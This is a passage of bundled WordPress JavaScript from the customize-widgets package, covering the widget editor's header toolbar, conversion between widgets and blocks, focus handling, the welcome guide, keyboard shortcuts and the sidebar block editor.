834 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Preferences"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
835 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
836 {
837 scope: "core/customize-widgets",
838 name: "keepCaretInsideBlock",
839 label: (0,external_wp_i18n_namespaceObject.__)(
840 "Contain text cursor inside block"
841 ),
842 info: (0,external_wp_i18n_namespaceObject.__)(
843 "Aids screen readers by stopping text caret from leaving blocks."
844 ),
845 messageActivated: (0,external_wp_i18n_namespaceObject.__)(
846 "Contain text cursor inside block activated"
847 ),
848 messageDeactivated: (0,external_wp_i18n_namespaceObject.__)(
849 "Contain text cursor inside block deactivated"
850 )
851 }
852 ) })
853 ] })
854 }
855 ),
856 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
857 KeyboardShortcutHelpModal,
858 {
859 isModalActive: isKeyboardShortcutsModalActive,
860 toggleModal: toggleKeyboardShortcutsModal
861 }
862 )
863 ] });
864}
865
866
867;// ./node_modules/@wordpress/customize-widgets/build-module/components/header/index.js
868
869
870
871
872
873
874
875
876
877
878function Header({
879 sidebar,
880 inserter,
881 isInserterOpened,
882 setIsInserterOpened,
883 isFixedToolbarActive
884}) {
885 const [[hasUndo, hasRedo], setUndoRedo] = (0,external_wp_element_namespaceObject.useState)([
886 sidebar.hasUndo(),
887 sidebar.hasRedo()
888 ]);
889 const shortcut = (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? external_wp_keycodes_namespaceObject.displayShortcut.primaryShift("z") : external_wp_keycodes_namespaceObject.displayShortcut.primary("y");
890 (0,external_wp_element_namespaceObject.useEffect)(() => {
891 return sidebar.subscribeHistory(() => {
892 setUndoRedo([sidebar.hasUndo(), sidebar.hasRedo()]);
893 });
894 }, [sidebar]);
895 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
896 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
897 "div",
898 {
899 className: dist_clsx("customize-widgets-header", {
900 "is-fixed-toolbar-active": isFixedToolbarActive
901 }),
902 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
903 external_wp_blockEditor_namespaceObject.NavigableToolbar,
904 {
905 className: "customize-widgets-header-toolbar",
906 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Document tools"),
907 children: [
908 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
909 external_wp_components_namespaceObject.ToolbarButton,
910 {
911 icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? undo_default : redo_default,
912 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
913 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary("z"),
914 disabled: !hasUndo,
915 onClick: sidebar.undo,
916 className: "customize-widgets-editor-history-button undo-button"
917 }
918 ),
919 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
920 external_wp_components_namespaceObject.ToolbarButton,
921 {
922 icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? redo_default : undo_default,
923 label: (0,external_wp_i18n_namespaceObject.__)("Redo"),
924 shortcut,
925 disabled: !hasRedo,
926 onClick: sidebar.redo,
927 className: "customize-widgets-editor-history-button redo-button"
928 }
929 ),
930 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
931 external_wp_components_namespaceObject.ToolbarButton,
932 {
933 className: "customize-widgets-header-toolbar__inserter-toggle",
934 isPressed: isInserterOpened,
935 variant: "primary",
936 icon: plus_default,
937 label: (0,external_wp_i18n_namespaceObject._x)(
938 "Add block",
939 "Generic label for block inserter button"
940 ),
941 onClick: () => {
942 setIsInserterOpened((isOpen) => !isOpen);
943 }
944 }
945 ),
946 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MoreMenu, {})
947 ]
948 }
949 )
950 }
951 ),
952 (0,external_wp_element_namespaceObject.createPortal)(
953 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inserter_default, { setIsOpened: setIsInserterOpened }),
954 inserter.contentContainer[0]
955 )
956 ] });
957}
958var header_default = Header;
959
960
961;// ./node_modules/@wordpress/customize-widgets/build-module/components/inserter/use-inserter.js
962
963
964
965function useInserter(inserter) {
966 const isInserterOpened = (0,external_wp_data_namespaceObject.useSelect)(
967 (select) => select(store).isInserterOpened(),
968 []
969 );
970 const { setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store);
971 (0,external_wp_element_namespaceObject.useEffect)(() => {
972 if (isInserterOpened) {
973 inserter.open();
974 } else {
975 inserter.close();
976 }
977 }, [inserter, isInserterOpened]);
978 return [
979 isInserterOpened,
980 (0,external_wp_element_namespaceObject.useCallback)(
981 (updater) => {
982 let isOpen = updater;
983 if (typeof updater === "function") {
984 isOpen = updater(
985 (0,external_wp_data_namespaceObject.select)(store).isInserterOpened()
986 );
987 }
988 setIsInserterOpened(isOpen);
989 },
990 [setIsInserterOpened]
991 )
992 ];
993}
994
995
996// EXTERNAL MODULE: ./node_modules/fast-deep-equal/es6/index.js
997var es6 = __webpack_require__(7734);
998var es6_default = /*#__PURE__*/__webpack_require__.n(es6);
999;// external ["wp","isShallowEqual"]
1000const external_wp_isShallowEqual_namespaceObject = window["wp"]["isShallowEqual"];
1001var external_wp_isShallowEqual_default = /*#__PURE__*/__webpack_require__.n(external_wp_isShallowEqual_namespaceObject);
1002;// ./node_modules/@wordpress/customize-widgets/build-module/utils.js
1003
1004
1005function settingIdToWidgetId(settingId) {
1006 const matches = settingId.match(/^widget_(.+)(?:\[(\d+)\])$/);
1007 if (matches) {
1008 const idBase = matches[1];
1009 const number = parseInt(matches[2], 10);
1010 return `${idBase}-${number}`;
1011 }
1012 return settingId;
1013}
1014function blockToWidget(block, existingWidget = null) {
1015 let widget;
1016 const isValidLegacyWidgetBlock = block.name === "core/legacy-widget" && (block.attributes.id || block.attributes.instance);
1017 if (isValidLegacyWidgetBlock) {
1018 if (block.attributes.id) {
1019 widget = {
1020 id: block.attributes.id
1021 };
1022 } else {
1023 const { encoded, hash, raw, ...rest } = block.attributes.instance;
1024 widget = {
1025 idBase: block.attributes.idBase,
1026 instance: {
1027 ...existingWidget?.instance,
1028 // Required only for the customizer.
1029 is_widget_customizer_js_value: true,
1030 encoded_serialized_instance: encoded,
1031 instance_hash_key: hash,
1032 raw_instance: raw,
1033 ...rest
1034 }
1035 };
1036 }
1037 } else {
1038 const instance = {
1039 content: (0,external_wp_blocks_namespaceObject.serialize)(block)
1040 };
1041 widget = {
1042 idBase: "block",
1043 widgetClass: "WP_Widget_Block",
1044 instance: {
1045 raw_instance: instance
1046 }
1047 };
1048 }
1049 const { form, rendered, ...restExistingWidget } = existingWidget || {};
1050 return {
1051 ...restExistingWidget,
1052 ...widget
1053 };
1054}
1055function widgetToBlock({ id, idBase, number, instance }) {
1056 let block;
1057 const {
1058 encoded_serialized_instance: encoded,
1059 instance_hash_key: hash,
1060 raw_instance: raw,
1061 ...rest
1062 } = instance;
1063 if (idBase === "block") {
1064 const parsedBlocks = (0,external_wp_blocks_namespaceObject.parse)(raw.content ?? "", {
1065 __unstableSkipAutop: true
1066 });
1067 block = parsedBlocks.length ? parsedBlocks[0] : (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {});
1068 } else if (number) {
1069 block = (0,external_wp_blocks_namespaceObject.createBlock)("core/legacy-widget", {
1070 idBase,
1071 instance: {
1072 encoded,
1073 hash,
1074 raw,
1075 ...rest
1076 }
1077 });
1078 } else {
1079 block = (0,external_wp_blocks_namespaceObject.createBlock)("core/legacy-widget", {
1080 id
1081 });
1082 }
1083 return (0,external_wp_widgets_namespaceObject.addWidgetIdToBlock)(block, id);
1084}
1085
1086
1087;// ./node_modules/@wordpress/customize-widgets/build-module/components/sidebar-block-editor/use-sidebar-block-editor.js
1088
1089
1090
1091
1092
1093function widgetsToBlocks(widgets) {
1094 return widgets.map((widget) => widgetToBlock(widget));
1095}
1096function useSidebarBlockEditor(sidebar) {
1097 const [blocks, setBlocks] = (0,external_wp_element_namespaceObject.useState)(
1098 () => widgetsToBlocks(sidebar.getWidgets())
1099 );
1100 (0,external_wp_element_namespaceObject.useEffect)(() => {
1101 return sidebar.subscribe((prevWidgets, nextWidgets) => {
1102 setBlocks((prevBlocks) => {
1103 const prevWidgetsMap = new Map(
1104 prevWidgets.map((widget) => [widget.id, widget])
1105 );
1106 const prevBlocksMap = new Map(
1107 prevBlocks.map((block) => [
1108 (0,external_wp_widgets_namespaceObject.getWidgetIdFromBlock)(block),
1109 block
1110 ])
1111 );
1112 const nextBlocks = nextWidgets.map((nextWidget) => {
1113 const prevWidget = prevWidgetsMap.get(nextWidget.id);
1114 if (prevWidget && prevWidget === nextWidget) {
1115 return prevBlocksMap.get(nextWidget.id);
1116 }
1117 return widgetToBlock(nextWidget);
1118 });
1119 if (external_wp_isShallowEqual_default()(prevBlocks, nextBlocks)) {
1120 return prevBlocks;
1121 }
1122 return nextBlocks;
1123 });
1124 });
1125 }, [sidebar]);
1126 const onChangeBlocks = (0,external_wp_element_namespaceObject.useCallback)(
1127 (nextBlocks) => {
1128 setBlocks((prevBlocks) => {
1129 if (external_wp_isShallowEqual_default()(prevBlocks, nextBlocks)) {
1130 return prevBlocks;
1131 }
1132 const prevBlocksMap = new Map(
1133 prevBlocks.map((block) => [
1134 (0,external_wp_widgets_namespaceObject.getWidgetIdFromBlock)(block),
1135 block
1136 ])
1137 );
1138 const nextWidgets = nextBlocks.map((nextBlock) => {
1139 const widgetId = (0,external_wp_widgets_namespaceObject.getWidgetIdFromBlock)(nextBlock);
1140 if (widgetId && prevBlocksMap.has(widgetId)) {
1141 const prevBlock = prevBlocksMap.get(widgetId);
1142 const prevWidget = sidebar.getWidget(widgetId);
1143 if (es6_default()(nextBlock, prevBlock) && prevWidget) {
1144 return prevWidget;
1145 }
1146 return blockToWidget(nextBlock, prevWidget);
1147 }
1148 return blockToWidget(nextBlock);
1149 });
1150 if (external_wp_isShallowEqual_default()(sidebar.getWidgets(), nextWidgets)) {
1151 return prevBlocks;
1152 }
1153 const addedWidgetIds = sidebar.setWidgets(nextWidgets);
1154 return nextBlocks.reduce(
1155 (updatedNextBlocks, nextBlock, index) => {
1156 const addedWidgetId = addedWidgetIds[index];
1157 if (addedWidgetId !== null) {
1158 if (updatedNextBlocks === nextBlocks) {
1159 updatedNextBlocks = nextBlocks.slice();
1160 }
1161 updatedNextBlocks[index] = (0,external_wp_widgets_namespaceObject.addWidgetIdToBlock)(
1162 nextBlock,
1163 addedWidgetId
1164 );
1165 }
1166 return updatedNextBlocks;
1167 },
1168 nextBlocks
1169 );
1170 });
1171 },
1172 [sidebar]
1173 );
1174 return [blocks, onChangeBlocks, onChangeBlocks];
1175}
1176
1177
1178;// ./node_modules/@wordpress/customize-widgets/build-module/components/focus-control/index.js
1179
1180
1181
1182const FocusControlContext = (0,external_wp_element_namespaceObject.createContext)();
1183FocusControlContext.displayName = "FocusControlContext";
1184function FocusControl({ api, sidebarControls, children }) {
1185 const [focusedWidgetIdRef, setFocusedWidgetIdRef] = (0,external_wp_element_namespaceObject.useState)({
1186 current: null
1187 });
1188 const focusWidget = (0,external_wp_element_namespaceObject.useCallback)(
1189 (widgetId) => {
1190 for (const sidebarControl of sidebarControls) {
1191 const widgets = sidebarControl.setting.get();
1192 if (widgets.includes(widgetId)) {
1193 sidebarControl.sectionInstance.expand({
1194 // Schedule it after the complete callback so that
1195 // it won't be overridden by the "Back" button focus.
1196 completeCallback() {
1197 setFocusedWidgetIdRef({ current: widgetId });
1198 }
1199 });
1200 break;
1201 }
1202 }
1203 },
1204 [sidebarControls]
1205 );
1206 (0,external_wp_element_namespaceObject.useEffect)(() => {
1207 function handleFocus(settingId) {
1208 const widgetId = settingIdToWidgetId(settingId);
1209 focusWidget(widgetId);
1210 }
1211 let previewBound = false;
1212 function handleReady() {
1213 api.previewer.preview.bind(
1214 "focus-control-for-setting",
1215 handleFocus
1216 );
1217 previewBound = true;
1218 }
1219 api.previewer.bind("ready", handleReady);
1220 return () => {
1221 api.previewer.unbind("ready", handleReady);
1222 if (previewBound) {
1223 api.previewer.preview.unbind(
1224 "focus-control-for-setting",
1225 handleFocus
1226 );
1227 }
1228 };
1229 }, [api, focusWidget]);
1230 const context = (0,external_wp_element_namespaceObject.useMemo)(
1231 () => [focusedWidgetIdRef, focusWidget],
1232 [focusedWidgetIdRef, focusWidget]
1233 );
1234 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(FocusControlContext.Provider, { value: context, children });
1235}
1236const useFocusControl = () => (0,external_wp_element_namespaceObject.useContext)(FocusControlContext);
1237
1238
1239;// ./node_modules/@wordpress/customize-widgets/build-module/components/focus-control/use-blocks-focus-control.js
1240
1241
1242
1243
1244
1245function useBlocksFocusControl(blocks) {
1246 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
1247 const [focusedWidgetIdRef] = useFocusControl();
1248 const blocksRef = (0,external_wp_element_namespaceObject.useRef)(blocks);
1249 (0,external_wp_element_namespaceObject.useEffect)(() => {
1250 blocksRef.current = blocks;
1251 }, [blocks]);
1252 (0,external_wp_element_namespaceObject.useEffect)(() => {
1253 if (focusedWidgetIdRef.current) {
1254 const focusedBlock = blocksRef.current.find(
1255 (block) => (0,external_wp_widgets_namespaceObject.getWidgetIdFromBlock)(block) === focusedWidgetIdRef.current
1256 );
1257 if (focusedBlock) {
1258 selectBlock(focusedBlock.clientId);
1259 const blockNode = document.querySelector(
1260 `[data-block="${focusedBlock.clientId}"]`
1261 );
1262 blockNode?.focus();
1263 }
1264 }
1265 }, [focusedWidgetIdRef, selectBlock]);
1266}
1267
1268
1269;// external ["wp","privateApis"]
1270const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
1271;// ./node_modules/@wordpress/customize-widgets/build-module/lock-unlock.js
1272
1273const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
1274 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
1275 "@wordpress/customize-widgets"
1276);
1277
1278
1279;// ./node_modules/@wordpress/customize-widgets/build-module/components/sidebar-block-editor/sidebar-editor-provider.js
1280
1281
1282
1283
1284
1285const { ExperimentalBlockEditorProvider } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
1286function SidebarEditorProvider({
1287 sidebar,
1288 settings,
1289 children
1290}) {
1291 const [blocks, onInput, onChange] = useSidebarBlockEditor(sidebar);
1292 useBlocksFocusControl(blocks);
1293 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1294 ExperimentalBlockEditorProvider,
1295 {
1296 value: blocks,
1297 onInput,
1298 onChange,
1299 settings,
1300 useSubRegistry: false,
1301 children
1302 }
1303 );
1304}
1305
1306
1307;// ./node_modules/@wordpress/customize-widgets/build-module/components/welcome-guide/index.js
1308
1309
1310
1311
1312
1313function WelcomeGuide({ sidebar }) {
1314 const { toggle } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
1315 const isEntirelyBlockWidgets = sidebar.getWidgets().every((widget) => widget.id.startsWith("block-"));
1316 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "customize-widgets-welcome-guide", children: [
1317 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "customize-widgets-welcome-guide__image__wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("picture", { children: [
1318 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1319 "source",
1320 {
1321 srcSet: "https://s.w.org/images/block-editor/welcome-editor.svg",
1322 media: "(prefers-reduced-motion: reduce)"
1323 }
1324 ),
1325 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1326 "img",
1327 {
1328 className: "customize-widgets-welcome-guide__image",
1329 src: "https://s.w.org/images/block-editor/welcome-editor.gif",
1330 width: "312",
1331 height: "240",
1332 alt: ""
1333 }
1334 )
1335 ] }) }),
1336 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "customize-widgets-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Welcome to block Widgets") }),
1337 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "customize-widgets-welcome-guide__text", children: isEntirelyBlockWidgets ? (0,external_wp_i18n_namespaceObject.__)(
1338 "Your theme provides different \u201Cblock\u201D areas for you to add and edit content.\xA0Try adding a search bar, social icons, or other types of blocks here and see how they\u2019ll look on your site."
1339 ) : (0,external_wp_i18n_namespaceObject.__)(
1340 "You can now add any block to your site\u2019s widget areas. Don\u2019t worry, all of your favorite widgets still work flawlessly."
1341 ) }),
1342 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1343 external_wp_components_namespaceObject.Button,
1344 {
1345 size: "compact",
1346 variant: "primary",
1347 onClick: () => toggle("core/customize-widgets", "welcomeGuide"),
1348 children: (0,external_wp_i18n_namespaceObject.__)("Got it")
1349 }
1350 ),
1351 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("hr", { className: "customize-widgets-welcome-guide__separator" }),
1352 !isEntirelyBlockWidgets && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { className: "customize-widgets-welcome-guide__more-info", children: [
1353 (0,external_wp_i18n_namespaceObject.__)("Want to stick with the old widgets?"),
1354 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
1355 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1356 external_wp_components_namespaceObject.ExternalLink,
1357 {
1358 href: (0,external_wp_i18n_namespaceObject.__)(
1359 "https://wordpress.org/plugins/classic-widgets/"
1360 ),
1361 children: (0,external_wp_i18n_namespaceObject.__)("Get the Classic Widgets plugin.")
1362 }
1363 )
1364 ] }),
1365 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { className: "customize-widgets-welcome-guide__more-info", children: [
1366 (0,external_wp_i18n_namespaceObject.__)("New to the block editor?"),
1367 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
1368 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1369 external_wp_components_namespaceObject.ExternalLink,
1370 {
1371 href: (0,external_wp_i18n_namespaceObject.__)(
1372 "https://wordpress.org/documentation/article/wordpress-block-editor/"
1373 ),
1374 children: (0,external_wp_i18n_namespaceObject.__)("Here's a detailed guide.")
1375 }
1376 )
1377 ] })
1378 ] });
1379}
1380
1381
1382;// ./node_modules/@wordpress/customize-widgets/build-module/components/keyboard-shortcuts/index.js
1383
1384
1385
1386
1387
1388function KeyboardShortcuts({ undo, redo, save }) {
1389 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/customize-widgets/undo", (event) => {
1390 undo();
1391 event.preventDefault();
1392 });
1393 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/customize-widgets/redo", (event) => {
1394 redo();
1395 event.preventDefault();
1396 });
1397 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/customize-widgets/save", (event) => {
1398 event.preventDefault();
1399 save();
1400 });
1401 return null;
1402}
1403function KeyboardShortcutsRegister() {
1404 const { registerShortcut, unregisterShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(
1405 external_wp_keyboardShortcuts_namespaceObject.store
1406 );
1407 (0,external_wp_element_namespaceObject.useEffect)(() => {
1408 registerShortcut({
1409 name: "core/customize-widgets/undo",
1410 category: "global",
1411 description: (0,external_wp_i18n_namespaceObject.__)("Undo your last changes."),
1412 keyCombination: {
1413 modifier: "primary",
1414 character: "z"
1415 }
1416 });
1417 registerShortcut({
1418 name: "core/customize-widgets/redo",
1419 category: "global",
1420 description: (0,external_wp_i18n_namespaceObject.__)("Redo your last undo."),
1421 keyCombination: {
1422 modifier: "primaryShift",
1423 character: "z"
1424 },
1425 // Disable on Apple OS because it conflicts with the browser's
1426 // history shortcut. It's a fine alias for both Windows and Linux.
1427 // Since there's no conflict for Ctrl+Shift+Z on both Windows and
1428 // Linux, we keep it as the default for consistency.
1429 aliases: (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? [] : [
1430 {
1431 modifier: "primary",
1432 character: "y"
1433 }
1434 ]
1435 });
1436 registerShortcut({
1437 name: "core/customize-widgets/save",
1438 category: "global",
1439 description: (0,external_wp_i18n_namespaceObject.__)("Save your changes."),
1440 keyCombination: {
1441 modifier: "primary",
1442 character: "s"
1443 }
1444 });
1445 return () => {
1446 unregisterShortcut("core/customize-widgets/undo");
1447 unregisterShortcut("core/customize-widgets/redo");
1448 unregisterShortcut("core/customize-widgets/save");
1449 };
1450 }, [registerShortcut]);
1451 return null;
1452}
1453KeyboardShortcuts.Register = KeyboardShortcutsRegister;
1454var keyboard_shortcuts_default = KeyboardShortcuts;
1455
1456
1457;// ./node_modules/@wordpress/customize-widgets/build-module/components/block-appender/index.js
1458
1459
1460
1461
1462function BlockAppender(props) {
1463 const ref = (0,external_wp_element_namespaceObject.useRef)();
1464 const isBlocksListEmpty = (0,external_wp_data_namespaceObject.useSelect)(
1465 (select) => select(external_wp_blockEditor_namespaceObject.store).getBlockCount() === 0
1466 );
1467 (0,external_wp_element_namespaceObject.useEffect)(() => {
1468 if (isBlocksListEmpty && ref.current) {
1469 const { ownerDocument } = ref.current;
1470 if (!ownerDocument.activeElement || ownerDocument.activeElement === ownerDocument.body) {
1471 ref.current.focus();
1472 }
1473 }
1474 }, [isBlocksListEmpty]);
1475 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.ButtonBlockAppender, { ...props, ref });
1476}
1477
1478
1479;// ./node_modules/@wordpress/customize-widgets/build-module/components/sidebar-block-editor/index.js
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497const { ExperimentalBlockCanvas: BlockCanvas } = unlock(
1498 external_wp_blockEditor_namespaceObject.privateApis
1499);
1500const { BlockKeyboardShortcuts } = unlock(external_wp_blockLibrary_namespaceObject.privateApis);
1501function SidebarBlockEditor({
1502 blockEditorSettings,
1503 sidebar,
1504 inserter,
1505 inspector
1506}) {
1507 const [isInserterOpened, setIsInserterOpened] = useInserter(inserter);
1508 const isMediumViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("small");
1509 const {
1510 hasUploadPermissions,
1511 isFixedToolbarActive,
1512 keepCaretInsideBlock,
1513 isWelcomeGuideActive
1514 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1515 const { get } = select(external_wp_preferences_namespaceObject.store);
1516 return {
1517 hasUploadPermissions: select(external_wp_coreData_namespaceObject.store).canUser("create", {
1518 kind: "postType",
1519 name: "attachment"
1520 }) ?? true,
1521 isFixedToolbarActive: !!get(
1522 "core/customize-widgets",
1523 "fixedToolbar"
1524 ),
1525 keepCaretInsideBlock: !!get(
1526 "core/customize-widgets",
1527 "keepCaretInsideBlock"
1528 ),
1529 isWelcomeGuideActive: !!get(
1530 "core/customize-widgets",
1531 "welcomeGuide"
1532 )
1533 };
1534 }, []);
1535 const settings = (0,external_wp_element_namespaceObject.useMemo)(() => {
1536 let mediaUploadBlockEditor;
1537 if (hasUploadPermissions) {
1538 mediaUploadBlockEditor = ({ onError, ...argumentsObject }) => {
1539 (0,external_wp_mediaUtils_namespaceObject.uploadMedia)({
1540 wpAllowedMimeTypes: blockEditorSettings.allowedMimeTypes,
1541 onError: ({ message }) => onError(message),
1542 ...argumentsObject
1543 });
1544 };
1545 }
1546 return {
1547 ...blockEditorSettings,
1548 __experimentalSetIsInserterOpened: setIsInserterOpened,
1549 mediaUpload: mediaUploadBlockEditor,
1550 hasFixedToolbar: isFixedToolbarActive || !isMediumViewport,
1551 keepCaretInsideBlock,
1552 editorTool: "edit",
1553 __unstableHasCustomAppender: true
1554 };
1555 }, [
1556 hasUploadPermissions,
1557 blockEditorSettings,
1558 isFixedToolbarActive,
1559 isMediumViewport,
1560 keepCaretInsideBlock,
1561 setIsInserterOpened
1562 ]);
1563 if (isWelcomeGuideActive) {
1564 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuide, { sidebar });
1565 }
1566 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1567 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcuts_default.Register, {}),
1568 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockKeyboardShortcuts, {}),
1569 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(SidebarEditorProvider, { sidebar, settings, children: [
1570 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1571 keyboard_shortcuts_default,
1572 {
1573 undo: sidebar.undo,
1574 redo: sidebar.redo,
1575 save: sidebar.save
1576 }
1577 ),
1578 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1579 header_default,
1580 {
1581 sidebar,
1582 inserter,
1583 isInserterOpened,
1584 setIsInserterOpened,
1585 isFixedToolbarActive: isFixedToolbarActive || !isMediumViewport
1586 }
1587 ),
1588 (isFixedToolbarActive || !isMediumViewport) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockToolbar, { hideDragHandle: true }),
1589 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1590 BlockCanvas,
1591 {
1592 shouldIframe: false,
1593 styles: settings.defaultEditorStyles,
1594 height: "100%",
1595 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, { renderAppender: BlockAppender })
1596 }
1597 ),
1598 (0,external_wp_element_namespaceObject.createPortal)(
1599 // This is a temporary hack to prevent button component inside <BlockInspector>
1600 // from submitting form when type="button" is not specified.
1601 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: (event) => event.preventDefault(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockInspector, {}) }),
1602 inspector.contentContainer[0]
1603 )
1604 ] }),
1605 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableBlockSettingsMenuFirstItem, { children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1606 block_inspector_button_default,
1607 {
1608 inspector,
1609 closeMenu: onClose
1610 }
1611 ) })
1612 ] });
1613}
1614
1615
1616;// ./node_modules/@wordpress/customize-widgets/build-module/components/sidebar-controls/index.js
1617
1618
1619const SidebarControlsContext = (0,external_wp_element_namespaceObject.createContext)();
1620SidebarControlsContext.displayName = "SidebarControlsContext";
1621function SidebarControls({
1622 sidebarControls,
1623 activeSidebarControl,
1624 children
1625}) {
1626 const context = (0,external_wp_element_namespaceObject.useMemo)(
1627 () => ({
1628 sidebarControls,
1629 activeSidebarControl
1630 }),
1631 [sidebarControls, activeSidebarControl]
1632 );
1633 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarControlsContext.Provider, { value: context, children });
1634}
1635function useSidebarControls() {
1636 const { sidebarControls } = (0,external_wp_element_namespaceObject.useContext)(SidebarControlsContext);
1637 return sidebarControls;
1638}
1639function useActiveSidebarControl() {
1640 const { activeSidebarControl } = (0,external_wp_element_namespaceObject.useContext)(SidebarControlsContext);
1641 return activeSidebarControl;
1642}
1643
1644
1645;// ./node_modules/@wordpress/customize-widgets/build-module/components/customize-widgets/use-clear-selected-block.js
1646
1647
1648
1649function useClearSelectedBlock(sidebarControl, popoverRef) {
1650 const { hasSelectedBlock, hasMultiSelection } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
1651 const { clearSelectedBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
1652 (0,external_wp_element_namespaceObject.useEffect)(() => {
1653 if (popoverRef.current && sidebarControl) {
1654 let handleClearSelectedBlock = function(element) {
1655 if (
1656 // 1. Make sure there are blocks being selected.
1657 (hasSelectedBlock() || hasMultiSelection()) && // 2. The element should exist in the DOM (not deleted).
1658 element && ownerDocument.contains(element) && // 3. It should also not exist in the container, the popover, nor the dialog.
1659 !container.contains(element) && !popoverRef.current.contains(element) && !element.closest('[role="dialog"]') && // 4. The inspector should not be opened.
1660 !inspector.expanded()
1661 ) {
1662 clearSelectedBlock();
1663 }
1664 }, handleMouseDown = function(event) {
1665 handleClearSelectedBlock(event.target);
1666 }, handleBlur = function() {
1667 handleClearSelectedBlock(ownerDocument.activeElement);
1668 };
1669 const inspector = sidebarControl.inspector;
1670 const container = sidebarControl.container[0];
1671 const ownerDocument = container.ownerDocument;
1672 const ownerWindow = ownerDocument.defaultView;
1673 ownerDocument.addEventListener("mousedown", handleMouseDown);
1674 ownerWindow.addEventListener("blur", handleBlur);
1675 return () => {
